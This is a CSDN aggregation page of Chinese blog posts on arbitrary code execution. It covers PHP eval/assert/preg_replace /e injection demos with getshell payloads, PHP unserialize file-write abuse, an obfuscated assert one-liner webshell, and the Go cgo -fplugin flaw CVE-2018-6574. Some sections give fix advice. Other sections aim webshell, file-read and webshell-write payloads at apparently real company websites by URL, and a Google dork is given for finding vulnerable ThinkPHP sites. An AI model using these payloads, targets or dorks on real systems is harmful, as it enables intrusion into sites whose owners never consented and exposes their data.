任意代码执行_哪些可能导致任意代码执行 - CSDN
  • 任意代码执行

    千次阅读 2017-03-10 16:47:10
    任意代码执行

    任意代码执行

    0x01 成因

    几种常用语言,都有将字符串转化成代码去执行的相关函数

    • php
       eval assert
    • asp
    <%=CreateObject(“wscript.shell”).exec(“cmd.exe /c ipconfig”).StdOut.ReadAll()%>
    • python
    exec
    • java
    Java中没有类似php中eval函数直
    接可以将字符串转化为代码执行
    的函数,但是有反射机制,如反
    射机制的表达式引擎:OGNL SpEL MVEL 

    0x02 php中能造成代码注入的主要函数

    执行代码的函数

    • eval()
    • assert()
      callback回调函数

    • preg_replace()+/e模式
      preg_replace函数原型:

      mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

      /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码

      在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
      注意:双引号中的函数不会被执行和替换。 

      反序列化函数

    • unserialize()

      eval()
      执行php代码

    demo 1

    <?php
    $data=$_GET['data'];
    eval("\$ret=$data;");
    echo $ret;

    phpinfo()

    http://192.168.188.66/code_inject/1/?data=phpinfo()
    http://192.168.188.66/code_inject/1/?data=1;phpinfo();

    http://192.168.188.66/code_inject/1/?data=${phpinfo()}

    getshell

    http://192.168.188.66/code_inject/1/?data=1;@eval($_POST[a]); 
    

    http://172.16.77.145/code_inject/1.php?data=${eval($_POST[T])}

    完整语句构造:

    eval("
    $data=1;
    @eval($_POST[a]);
    ")

    demo 2

    <?php
    $data=$_GET['data'];
    echo "\$ret='$data';";
    eval("\$ret=strtolower('$data');");
    echo $ret;

    phpinfo()

    /?data=123');phpinfo();//

    完整语句构造:

    $ret=strtolower('123');
    闭合单引号
    $ret=strtolower('');
    phpinfo();//123');
    
    

    getshell

    /?data=123');eval($_POST[k]);//

    demo 3

    <?php
    $data = $_GET['data'];
    eval("\$ret = strtolower(\"$data\");"); 
    echo $ret;

    phpinfo()

    /?data={${phpinfo()}}
    或
    /?data=");phpinfo();//

    完整语句构造:

    eval("
    $ret=strtolower("");
    phpinfo();
    //");
    ")
    或
    eval("
    $ret=strtolower("{${phpinfo()}}");

    getshell

    /?data={${eval($_POST[k])}}

    demo 4

    <?php
    $data = $_GET['data'];
    echo $data;
    preg_replace('/<data>(.*)<\/data>/e', '$ret = "\\1";', $data);
    echo $ret;

    phpinfo()

    http://192.168.188.66/code_inject/4/?data=<data>{${phpinfo()}}</data>

    完整语句构造:

    $ret="{${phpinfo()}}"

    getshell

    ?data="{${eval($_POST[k])}}"

    php反序列化
    序列化是对象持久化的一项技术,保存了对象之前的状态和数据,为了方便网络传输。
    在php中,可以对数组,变量,对象等进行序列化(静态变量,常量不会被序列化)

    <?php
        class TestSerialize{
            private $name;
            private $password;
            const ID = 1234;
            public static $_class_name = __CLASS__;
    
            public function __set($varname,$value){
    
                $this->$varname = $value;
            }
    
            public function __get($varname)
            {
                return $this->$varname;
            }
        }
    
        $data = array(
                'name'=>'zhangsan',
                'password'=>'pwd123'
            );
    
    
        $test = 'abcd';
        $ts = new TestSerialize();
        $ts->name = 'zhangsan_2';
        $ts->password = 'pwd123_2';
        echo  'var=>'.serialize($test).'<br/>';
        echo  'array=>'.serialize($data).'<br/>';
        echo  'object=>'.serialize($ts).'<br/>';
    
    ?>

    输出结果

    var=>s:4:"abcd";
    array=>a:2:{s:4:"name";s:8:"zhangsan";s:8:"password";s:6:"pwd123";}
    object=>O:13:"TestSerialize":2:{s:19:"TestSerializename";s:10:"zhangsan_2";s:23:"TestSerializepassword";s:8:"pwd123_2";}

    如果我们知道代码类的定义,就可以构造代码执行
    demo

    服务端代码

    <?php class foo {
    public $file = "test.txt"; public $data = "123456";
    function __destruct() { file_put_contents($this->file, $this->data);
    } }
    $d = $_REQUEST['str'];
    var_dump($d);
    echo "<br>";
    $tc = unserialize( base64_decode( $d ) ); //$tc = unserialize($_POST["str"]); var_dump($tc);

    我们构造序列化

    <?php class foo {
    public $file = "test.txt"; public $data = "123456";
    function __destruct() { file_put_contents($this->file, $this->data);
    } }
    $f = new foo();
    $f->file = "1.php";
    $f->data = "<? phpinfo(); ?>";
    echo base64_encode(serialize($f));

    生成

    TzozOiJmb28iOjI6e3M6NDoiZmlsZSI7czo1OiIxLnBocCI7czo0OiJkYXRhIjtzOjE2OiI8PyBwaHBpbmZvKCk7ID8+Ijt9

    将生成的值提交给服务端就产生了漏洞

    0x03 危害

    • 一句话木马
    http://www.shichidachina.com/News/detail/item/{${@eval($_POST[1999])}}
    • 获取当前工作路径
    http://www.shichidachina.com/News/detail/item/{${print(getcwd())}}
    • 读文件
    http://www.shichidachina.com/News/detail/item/{$ {exit(var_dump(file_get_contents($_POST[f])))}}
    f=/etc/passwd
    • 写webshell
    http://www.shichidachina.com/News/detail/item/{$
    {exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}} f=h4lp.php&d=22222

    0x04 寻找漏洞

    thinkphp 框架 可能存在 代码执行漏洞的
    搜索方式 intext:thinkphp intext:”Fast & Simple OOP PHP Framework” intext:”2.1”

    http://www.sinosteelchem.com/product_detail_en/id/$%7B%20phpinfo()%20%7D
    http://www.sjzy.org/index/rzkc_view/fid/70/eid/$%7B%20phpinfo()%7D
    http://www.shichidachina.com/News/detail/item/$%7B@%20phpinfo()%20%7D

    0x05 修补

    eval()

    • 能使用json保存数组、对象就使用json格式,不要将php对象保存成字符串,否则读取的时候需要使用eval
    • 对于必须使用eval的情况,一定要保证用户不能轻易接触eval的参数(或用正则判断输入的数据格式)
    • 对于字符串,一定要使用单引号包裹可控代码,并在插入前进行addslashes
    $data = addslashes($data); 
    eval("\$data = deal('$data');");

    preg_replace()

    • 放弃使用preg_replace的e修饰符
    • 使用preg_replace_callback()替换
    • 如果非要使用preg_replace()+e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹
    展开全文
  • php任意代码执行漏洞浅析

    千次阅读 2018-11-20 11:19:24
     当应用在调用一些能将字符转化为代码的函数(如PHP中的eval,assert)时,没有考虑用户是否能控制这个字符串,这就会造成代码执行漏洞。 常见函数 php:eval,assert python:exec 区别 eval与assert区别 eval函数...

    漏洞成因

     当应用在调用一些能将字符转化为代码的函数(如PHP中的eval,assert)时,没有考虑用户是否能控制这个字符串,这就会造成代码执行漏洞。

    常见函数

    php:eval,assert

    python:exec

    区别

    eval与assert区别

    eval函数中参数是字符,如:

    eval('echo 1;');

    assert函数中参数为表达式 (或者为函数),如:

     assert(phpinfo()) 

    漏洞利用

    1.eval()函数

    定义

    eval函数把字符串按照php代码来计算。该字符串必须合法,且必须以分号结尾。如果代码字符串中没有返回语句,则返回NULL,如果代码中解析错误,返回false。

    例子

    <?php
    $a = $_GET['a'];
    eval($a);
    ?>

    我们可以通过get方式传入一个字符串,由eval执行,就变成命令

    http://127.0.0.1/test/1.php?a=var_dump(scandir('./'))

    2.assert

    定义

    检查一个断言是否为false

    例子

    bugku的过狗一句话,可以试试

    <?php 
    $poc="a#s#s#e#r#t"; 
    $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; 
    $poc_2($_GET['s']) 
    ?>

     扫描当前目录

     http://123.206.87.240:8010/?s=var_dump(scandir(%27./%27))

     

    展开全文
  • 前不久,Go官方修复了CVE-2018-6574这个漏洞,这个漏洞又是涉及软件编译环节,和2015年Xcode被污染类似,攻击者可以通过在软件编译环节插入恶意数据从而执行任意代码,虽然原理并不复杂,但有很好的警示意义。...

    前不久,Go官方修复了CVE-2018-6574这个漏洞,这个漏洞又是涉及软件编译环节,和2015年Xcode被污染类似,攻击者可以通过在软件编译环节插入恶意数据从而执行任意代码,虽然原理并不复杂,但有很好的警示意义。

    什么是Go语言?

    Go 是一个Google推出的开源编程语言,它能让构造简单、可靠且高效的软件变得更容易,且有着更高的开发效率和运行性能,因此受到了许多开发者的欢迎。

    Go 程序源码 以 *.go 结尾,通过 go build 编译成native代码。

    以最简单的hello world程序为例:hello.go

    //  hello.go
    package main
    
    import "fmt"
    func main() {
        fmt.Println("Hello, World!")
    }
    

    通过go build编译出可执行程序,再运行 ./hello 。也可以直接通过 go run ./hello.go 直接在/tmp目录下编译生成可执行文件,并运行。

    同时Go语言允许与C语言的互操作,即在Go语言中直接使用C代码,因为本身Go在语法等方面和C就很像,其设计者以及其设计目标都与C语言有着千丝万缕的联系。

    例如下面的代码,我们可直接在Go源码文件中嵌入了C代码,并用注释包裹起来

    package main
    
    /*
    #include
    #include
    void my_print(char *str){
        printf("%s\n",str);
    }
    */
    import "C"
    import "unsafe"
    import "fmt"
    
    func main() {
        fmt.Println("Hello, World!")
    
        s:="hello cgo"
        cs:=C.CString(s)
        C.my_print(cs)
        C.free(unsafe.Pointer(cs))
    }
    

    我们依然可以直接通过go build或go run来编译和执行,但实际编译过程中,go调用了名为cgo的工具,cgo会识别和读取Go源文件中的C元素,并将其提取后交给C编译器编译,最后与Go源码编译后的目标文件链接成一个可执行程序。

    CVE-2018-6574 漏洞分析

    参看CVE公告,这个漏洞是由于在源码编译时,未禁止 “-fplugin=”这类的参数导致在使用gcc/clang编译时产生代码执行。

    上面已经说了在Go源码文件中可以嵌入了C代码,同时cgo会识别和读取Go源文件中的C元素,并将其提取后交给C编译器编译。

    cgo调用gcc或者clang编译提取出的C代码。

    gcc/clang这类的C编译器自然都有CFLAGS,LDFLAGS等编译开关让开发者在编译时指定设置。

    cgo作为一个gcc的封装,自然也支持这类的编译开关选项。而gcc编译时,可以通过“-fplugin”指定额外的插件,gcc在编译时会加载这个插件。

    因此,除了在Go源码文件中可以嵌入了C代码之外,还可以指定通过“#cgo CFLAGS”指定gcc编译时的恶意插件。

    cgo在解析到CFLAGS关键字时,会将后面的编译选项传递给gcc。

    “-fplugin”指定额外的插件,可为任意的动态库,因此就获得了代码的执行权限。

    package main
    
    /*
    #cgo CFLAGS: -fplugin=./foo.so
    #include
    #include
    void print(char *str){
        printf("%s\n",str);
    }
    */
    import "C"
    import "unsafe"
    import "fmt"
    
    func main() {
        fmt.Println("Hello, World!")
    
        s:="hello cgo"
        cs:=C.CString(s)
        C.print(cs)
        C.free(unsafe.Pointer(cs))
    }
    

    对于本地自己编写的程序或许不会有问题,因为毕竟不会自己去加载执行恶意代码。 但当需要获取远程代码执行“go get”时,就可能出现问题。“go get”先从远程地址下载源码,再执行go build并安装。

    例如,我们经常会从github上获得Go的项目或第三方包,这些第三方包如果未经检查,就完全可能借助这个漏洞执行任意代码。

    我们通过本地反弹shell来演示一下这个漏洞执行的流程,如下图。

    CVE-2018-6574 防御修复

    Go官方在最新版本中,加强了对编译和链接环节的检查过滤。

    只允许指定的编译链接选项代入gcc执行,其他未经允许的都会被禁止。

    总结

    本文分析了CVE-2018-6574漏洞的成因,可以看到编译是软件构建过程中一个重要环节,保证软件可信,不被来自外界的病毒、恶意代码破坏,不仅要从程序代码本身着手,还应从编译,生成,分发等各方面努力,保证整个软件供应链体系的安全可信。

     

     

    展开全文
  • 任意代码执行漏洞

    千次阅读 2016-08-04 20:13:03
    当应用在调用一些字符串转化为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞。 --相关函数-- PHP  eval()、assert() python exec() Java 没有类似于前面两者的函数,但是有反射机制...

    --背景介绍--

    当应用在调用一些字符串转化为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞。

    --相关函数--

    PHP          eval()、assert()
    python      exec()
    Java         没有类似于前面两者的函数,但是有反射机制,并且有基于反射机制的表达式引擎,如:0GNL、SpEL、                        MVEL等


    --PHP中能造成代码注入的主要函数--
    ①eval()
    <span style="font-size:14px;"><?php
    $data = $_GET['data'];
    eval($ret = $data);
    echo $ret
    ?></span>
    使的$data=phpinfo(),则可以显示phpinfo.php文件的内容

    ②assert()
    和前者一样,都是将字符串当成代码来执行。

    ③preg_replace()+/e模式
    <?php
    $data = $_GET['data'];
    preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";',$data);
    ?>
    echo $reat
    使的?data=<data>${phpinfo()}</data>

    实例:



    ④unserialize() (反序列化函数)



    --修复方案--
    对于eval()函数,一定要保证用户不能轻易接触eval的参数,如果接触一定要使用单引号包裹可控代码,并在插入前进行addslashes
    <?php
    $data = addslashes($data);
    eval("$data = deal('$data')");
    ?>

    对于preg_replace()函数,要放弃使用/e修饰符,也可以使用preg_replace_callback()函数代替。如果一定要使用该函数,请保证第二个参数中,对于正则匹配出的对象用单引号包裹。

    展开全文
  • eval,assert,将字符串当成代码执行 preg_replace("/wslp/e","$xr",“wslp”);用第二个参数的执行结果替换第三个参数里的第一个参数指定的值 漏洞形成 如果被执行的字符串是通过前端参数传过来的攻击代码,或者...
  • 任意代码执行漏洞简介

    千次阅读 2018-06-24 08:30:51
    一、任意代码执行漏洞思维导图:代码执行漏洞的成因:应用程序在调用一些能够将字符串转换为代码的函数(例如php中的eval中),没有考虑用户是否控制这个字符串,将造成代码执行漏洞。代码执行漏洞的常用函数...
  • 代码执行漏洞 什么是代码执行 当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能够控制这个字符串,将造成代码注入漏洞。 在php中:eval,assert, preg_replace(‘/*/e', '$ret = "\\1";',$...
  • Vim任意代码执行漏洞(CVE-2019-12735)

    千次阅读 2019-08-27 16:52:57
    Vim通过Modelines执行任意代码 漏洞概要: 在8.1.1365之前的Vim和在0.3.6之前的Neovim很容易通过打开特制的文本文件而通过模型执行任意代码。 复现条件: 确保未禁用modeline选项(:set modeline)。 开启 modeline #...
  • thinkphp任意代码执行漏洞

    千次阅读 2018-11-11 01:09:48
    thinkphp任意代码执行漏洞
  • Kibana 任意代码执行漏洞

    千次阅读 2019-10-19 00:50:24
    点击蓝字“madMen”关注我哟这几天,有人公开了 Kibana 任意代码执行漏洞(CVE-2019-7609)的 POC。这个漏洞的主要原理是因为 Kibana ...
  • php cgi远程任意代码执行漏洞

    千次阅读 2012-11-16 16:02:02
    GaRY | 2012-05-04 ...国外又发布了一个牛逼闪闪的php cgi远程任意代码执行漏洞: http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/  粗看一下貌似没啥危害,因为php做了防范,在cgi这个sapi
  • ThinkPHP框架被爆任意代码执行漏洞

    千次阅读 2019-01-08 00:20:04
    昨日ThinkPHP框架被爆出了一个php代码任意...不过大多数开发者和使用者并没有注意到本次漏洞的危害性,chinaz源码报导提醒:此漏洞是一个非常严重的问题,只要使用了thinkphp框架,就可以直接执行任意php代码,请使...
  • 一次thinkphp任意代码执行

    千次阅读 2016-07-26 08:43:06
    更可怕的是并不是你找到的就能任意命令执行,需要一个网站一个网站的测试 ... 然后我就一个一个的试 , 好可怜啊 , 试了十几个才有一个可以利用的 ...   原理:  有问题的代码: $res = preg_replace('@(w+)'.$depr...
  • ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码。 而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码。 其实...
  • Django任意代码执行0day漏洞分析

    千次阅读 2019-03-16 14:36:18
    从Django的SECTET_KEY到代码执行。Django是一个可以用于快速搭建高性能,优雅的网站的平台,由Python写成。 采用了MVC的软件设计模式,即模型M、视图V和控制器C。它最初是被开发来用于管理劳伦斯出版集团旗下的一些...
  • 利用国内的漏洞利用工具
  • thinkphp5.x全版本任意代码执行getshell

    千次阅读 2019-09-25 03:16:00
    ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受...
  • 最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循 Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 ...
  • 什么是代码执行: 当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能够控制这个字符串,将造成代码注入漏洞。 代码执行函数: 在php中:eval,assert,preg_replace(‘/*/e’, 'ret="1";′,ret = ...
  • 实验环境:海洋CMS6.54(后续版本已该洞已补) 1、后台登录尝试 这个站点是个测试站,站里没什么数据。 ...有验证码的也有一个爆破软件,可以识别验证码的,但是试了试用不了。...百度搜索海洋CMS的漏洞,有好几...
1 2 3 4 5 ... 20
收藏数 704,252
精华内容 281,700
关键字:

任意代码执行